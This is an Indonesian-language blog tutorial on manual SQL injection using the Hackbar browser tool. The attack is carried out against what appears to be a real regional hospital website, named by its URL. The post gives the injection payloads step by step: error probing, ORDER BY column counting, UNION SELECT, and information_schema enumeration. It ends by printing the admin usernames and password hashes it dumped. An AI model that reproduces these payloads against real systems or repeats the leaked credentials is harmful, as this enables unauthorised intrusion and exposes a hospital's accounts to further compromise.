Selasa, 28 Agustus 2018

SQL Injection Manual Menggunakan Hackbar


Assalamualaikum..

Selamat malam semuanya, apa kabar? Pada kesempatan kali ini saya akan membagikan tutorial SQL Injection Manual Menggunakan Hackbar. Selamat membaca!

Sebelumnya saya sudah memiliki website yang akan kita jadikan bahan praktik, yaitu http://rsudkarawang.id/berita.php?i=20


Selanjutnya, tambahkan karakter (') untuk mengetes apakah web tersebut vuln atau tidak. http://rsudkarawang.id/berita.php?i=20'. Kemudian, klik tulisan Load URL yang berada di atas kiri hackbar. Atau kalau mau lebih cepat, tekan CTRL+A.


Kita bisa melihat perbedaan tampilan website sebelum dan sesudah ditambahkan ('). Ketika diberi karakter ('), sebagian tampilan website hilang dan muncul pesan error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''20''' at line 1
Pesan di atas adalah salah satu contoh error yang menunjukkan celah SQL Injection. Setiap website memiliki error yang berbeda-beda. Intinya, jika ada perubahan pada tampilan web setelah ditambahkan karakter ('), kemungkinan besar web tersebut vuln SQL Injection.

Selanjutnya, kita akan mencari jumlah column database website tersebut menggunakan perintah Order By. Jadi perintahnya menjadi http://rsudkarawang.id/berita.php?i=20' order by 1-- -.


Website tersebut kembali normal atau seperti semula sebelum ditambahkan ('). Tugas kita sekarang adalah mengurutkan angka sampai web tersebut kembali error. Untuk lebih jelasnya seperti ini:

http://rsudkarawang.id/berita.php?i=20' order by 7-- -       Boom, web kembali error :p


Setelah sampai angka 7, website kembali error dengan pesan:

Unknown column '7' in 'order clause'
Unknown column 7 kalau kita terjemahkan ke bahasa Indonesia artinya tidak diketahui kolom 7. Jadi, website tersebut memiliki 6 column.

Selanjutnya, kita menggunakan perintah Union Select untuk mengurutkan jumlah column. Tambahkan juga tanda (-) di depan angka url. Maka menjadi seperti ini, http://rsudkarawang.id/berita.php?i=-20' union select 1,2,3,4,5,6-- -


Kali ini tampilan website kembali berubah. Sekarang terdapat angka 2, 3, dan 5. Ketiga angka itu fungsinya sama, yaitu untuk menjalankan perintah kita nantinya. Di sini saya akan mencoba dump username dan password admin dari web tesebut. Pilih satu angka, saya memilih angka 2. 

Sekarang, angka 2 kita ganti dengan group_concat(table_name separator 0x3c62723e) dan di ujung di depan tanda -- - tambahkan perintah from information_schema.tables where table_schema=database(). Jadi, perintahnya seperti ini: 



Nah, sekarang kita sudah mendapatkan nama-nama table di database web tersebut. Karena tujuan kita mencari username dan password admin, maka cari table yang kemungkinan berisi username dan password admin. Feeling saya mengatakan table tersebut adalah adm_web

Kemudian, kita ganti group_concat(table_name separator 0x3c62723e) menjadi group_concat(column_name separator 0x3c62723e). Kita ganti juga perintah from information_schema.tables where table_schema= menjadi from information_schema.columns where table_name=. Lalu, kita ubah database() menjadi adm_web yang sudah kita ubah ke bentuk hex. 

Cara mengubahnya, blok kata yang akan kita ubah ke bentuk hex (adm_web) kemudian tekan tanda panah sebelah kanan 0xHEX. Maka bentuk hex dari adm_web adalah 0x61646d5f776562. Jadi perintah kita seperti ini: 



Taraa.. Ternaya feeling saya tadi benar. Table adm_web berisi username dan password admin. Dalam table adm_web terdapat 4 column yaitu usrname, pass, nama, dan email. Karena kita hanya mencari username dan password, maka column yang kita gunakan adalah usrname dan pass.

Sekarang, kita ganti group_concat(column_name separator 0x3c62723e) menjadi group_concat(usrname,0x203a3a3a20,pass separator 0x3c62723e). 0x203a3a3a20 adalah bentuk hex dari (:::), tujuannya untuk memisahkan antara username dan password. Lalu, kita ubah information_schema.columns where table_name=0x61646d5f776562 menjadi adm_web. Mengapa? Karena column usrname dan pass berada pada table adm_web. Maka perintahnya menjadi begini:



Yuhuuu.. Kita sudah mendapatkan username dan password admin web tersebut. 

admin ::: *EB1443BAA18E8CE79AC55DA3F6641902DC6C2BB0
simrsudk ::: *AE27799888FA65B5C838395911E947C5F49D5A78
Sekarang kembali pada tujuan masing-masing. Tujuan saya di sini hanya berbagi semata tanpa ada niatan merusak. Aksi ilegal yang anda lakukan di luar tanggung jawab saya :p

Oke sekian tutorial mengenai SQL Injection Manual Menggunakan Hackbar. Semoga bermanfaat untuk kita semua. Maaf apabila ada kekurangan atau salah kata. Jika ingin bertanya silahkan di komentar, InshaAllah saya jawab :D

Wassalamualaikum..

0 komentar:

Posting Komentar